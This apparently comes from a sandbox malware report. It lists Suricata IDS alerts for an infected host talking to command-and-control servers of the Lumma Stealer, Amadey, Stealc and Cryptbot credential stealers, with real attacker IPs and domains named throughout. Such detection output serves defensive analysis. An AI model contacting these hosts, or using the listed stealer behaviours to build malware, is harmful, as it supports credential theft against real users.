Source: Network traffic Suricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.4:49822 -> 172.67.209.202:443
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49824 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.4:49832 -> 172.67.209.202:443
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49842 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.4:49837 -> 172.67.209.202:443
Source: Network traffic Suricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.4:49858 -> 172.67.209.202:443
Source: Network traffic Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:49866 -> 212.193.31.8:80
Source: Network traffic Suricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.4:49875 -> 172.67.209.202:443
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49865 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.4:49843 -> 172.67.209.202:443
Source: Network traffic Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:49890 -> 212.193.31.8:80
Source: Network traffic Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:49907 -> 212.193.31.8:80
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49906 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:49925 -> 212.193.31.8:80
Source: Network traffic Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:49945 -> 212.193.31.8:80
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49942 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:49960 -> 212.193.31.8:80
Source: Network traffic Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:49974 -> 212.193.31.8:80
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49978 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:49991 -> 212.193.31.8:80
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49997 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.4:50005 -> 185.121.15.192:80
Source: Network traffic Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:50011 -> 212.193.31.8:80
Source: Network traffic Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.4:50016 -> 185.121.15.192:80
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:50024 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:50025 -> 212.193.31.8:80
Source: Network traffic Suricata IDS: 2058378 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat) : 192.168.2.4:61253 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2058364 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat) : 192.168.2.4:65072 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.4:50060 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2058360 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (discokeyus .lat) : 192.168.2.4:53998 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:50061 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:50051 -> 212.193.31.8:80
Source: Network traffic Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.4:50068 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:50078 -> 212.193.31.8:80
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:50089 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:50097 -> 212.193.31.8:80
Source: Network traffic Suricata IDS: 2058378 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat) : 192.168.2.4:60789 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2058364 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat) : 192.168.2.4:49839 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.4:50120 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.4:50125 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.4:50134 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:50129 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:50121 -> 185.215.113.206:80
Source: Network traffic Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.4:50121 -> 185.215.113.206:80
Source: Network traffic Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.4:50121
Source: Network traffic Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.4:50121 -> 185.215.113.206:80
Source: Network traffic Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.4:50128 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.4:50121
Source: Network traffic Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.4:50121 -> 185.215.113.206:80
Source: Network traffic Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:50139 -> 212.193.31.8:80
Source: Network traffic Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.4:50140 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.4:50141 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:50153 -> 212.193.31.8:80
Source: Network traffic Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.4:50157 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.4:50162 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.4:50158 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.4:50168 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.4:50169 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:50171 -> 212.193.31.8:80
Source: Network traffic Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.4:50177 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2058378 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat) : 192.168.2.4:64282 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2058364 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat) : 192.168.2.4:52072 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.4:50180 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.4:50174 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:50181 -> 212.193.31.8:80
Source: Network traffic Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.4:50189 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.4:50186 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.4:50222 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:50223 -> 212.193.31.8:80
Source: Network traffic Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.4:50191
Source: Network traffic Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:50124 -> 212.193.31.8:80
Source: Network traffic Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.4:50144 -> 185.121.15.192:80
Source: Network traffic Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.4:50238 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:50165 -> 212.193.31.8:80
Source: Network traffic Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.4:50246 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:50252 -> 212.193.31.8:80
Source: Network traffic Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.4:50253 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:50233 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:50269 -> 212.193.31.8:80
Source: Network traffic Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.4:50276 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.4:50287 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:50288 -> 185.215.113.206:80
Source: Network traffic Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:50302 -> 185.215.113.206:80
Source: Network traffic Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:50295 -> 212.193.31.8:80
Source: Network traffic Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:50306 -> 212.193.31.8:80
Source: Network traffic Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:50339 -> 212.193.31.8:80
Source: Network traffic Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:50358 -> 212.193.31.8:80
Source: Network traffic Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:50325 -> 185.215.113.206:80
Source: Network traffic Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:50366 -> 212.193.31.8:80
Source: Network traffic Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:50386 -> 212.193.31.8:80
Source: Network traffic Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:50372 -> 212.193.31.8:80
Source: Network traffic Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:50357 -> 185.215.113.206:80
Source: Network traffic Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:50412 -> 212.193.31.8:80
Source: Network traffic Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:50402 -> 212.193.31.8:80
Source: Network traffic Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:50406 -> 212.193.31.8:80
Source: Network traffic Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:50416 -> 212.193.31.8:80
Source: Network traffic Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:50447 -> 212.193.31.8:80
Source: Network traffic Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:50451 -> 212.193.31.8:80
Source: Network traffic Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:50428 -> 212.193.31.8:80
Source: Network traffic Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:50460 -> 212.193.31.8:80
Source: Network traffic Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:50455 -> 212.193.31.8:80
Source: Network traffic Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:50476 -> 212.193.31.8:80
Source: Network traffic Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:50435 -> 212.193.31.8:80
Source: Network traffic Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:50472 -> 212.193.31.8:80
Source: Network traffic Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:50489 -> 212.193.31.8:80
Source: Network traffic Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.4:50498 -> 212.193.31.8:80
Source: Network traffic Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:50504 -> 212.193.31.8:80
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:50501 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:50508 -> 212.193.31.8:80
Source: Network traffic Suricata IDS: 2058397 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (pancakedipyps .click) : 192.168.2.4:56639 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:50500 -> 212.193.31.8:80
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:50509 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.4:50505
Source: Network traffic Suricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.4:50517 -> 172.67.209.202:443
Source: Network traffic Suricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.4:50527 -> 172.67.209.202:443
Source: Network traffic Suricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.4:50526 -> 172.67.209.202:443
Source: Network traffic Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:50528 -> 212.193.31.8:80
Source: Network traffic Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.4:50497
Source: Network traffic Suricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.4:50533 -> 172.67.209.202:443
Source: Network traffic Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:50496 -> 212.193.31.8:80
Source: Network traffic Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:50521 -> 212.193.31.8:80
Source: Network traffic Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:50547 -> 212.193.31.8:80
Source: Network traffic Suricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.4:50541 -> 172.67.209.202:443
Source: Network traffic Suricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.4:50520 -> 172.67.209.202:443
Source: Network traffic Suricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.4:50523 -> 172.67.209.202:443
Source: Network traffic Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:50542 -> 212.193.31.8:80
Source: Network traffic Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:50572 -> 212.193.31.8:80
Source: Network traffic Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:50567 -> 212.193.31.8:80
Source: Network traffic Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.4:50568
Source: Network traffic Suricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.4:50544 -> 172.67.209.202:443
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:50608 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:50610 -> 212.193.31.8:80
Source: Network traffic Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.4:50605
Source: Network traffic Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:50595 -> 212.193.31.8:80
Source: Network traffic Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:50580 -> 212.193.31.8:80
Source: Network traffic Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:50604 -> 212.193.31.8:80
Source: Network traffic Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:50562 -> 212.193.31.8:80
Source: Network traffic Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:50623 -> 212.193.31.8:80
Source: Network traffic Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:50558 -> 212.193.31.8:80
Source: Network traffic Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:50637 -> 212.193.31.8:80
Source: Network traffic Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:50642 -> 212.193.31.8:80
Source: Network traffic Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:50617 -> 212.193.31.8:80
Source: Network traffic Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:50665 -> 212.193.31.8:80
Source: Network traffic Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:50584 -> 212.193.31.8:80
Source: Network traffic Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:50669 -> 212.193.31.8:80
Source: Network traffic Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:50673 -> 212.193.31.8:80
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:50571 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:50681 -> 212.193.31.8:80
Source: Network traffic Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:50650 -> 212.193.31.8:80
Source: Network traffic Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:50598 -> 212.193.31.8:80
Source: Network traffic Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:50677 -> 212.193.31.8:80
Source: Network traffic Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:50685 -> 212.193.31.8:80
Source: Network traffic Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:50646 -> 212.193.31.8:80
Source: Network traffic Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:50654 -> 212.193.31.8:80
Source: Network traffic Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49814 -> 172.67.209.202:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49814 -> 172.67.209.202:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49823 -> 104.21.67.146:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49823 -> 104.21.67.146:443
Source: Network traffic Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49831 -> 104.21.67.146:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49831 -> 104.21.67.146:443
Source: Network traffic Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49822 -> 172.67.209.202:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49806 -> 172.67.209.202:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49806 -> 172.67.209.202:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49875 -> 172.67.209.202:443
Source: Network traffic Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49852 -> 104.21.67.146:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49897 -> 104.21.67.146:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:50060 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50060 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:50068 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50068 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:50120 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50120 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:50141 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:50185 -> 104.21.89.115:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50185 -> 104.21.89.115:443
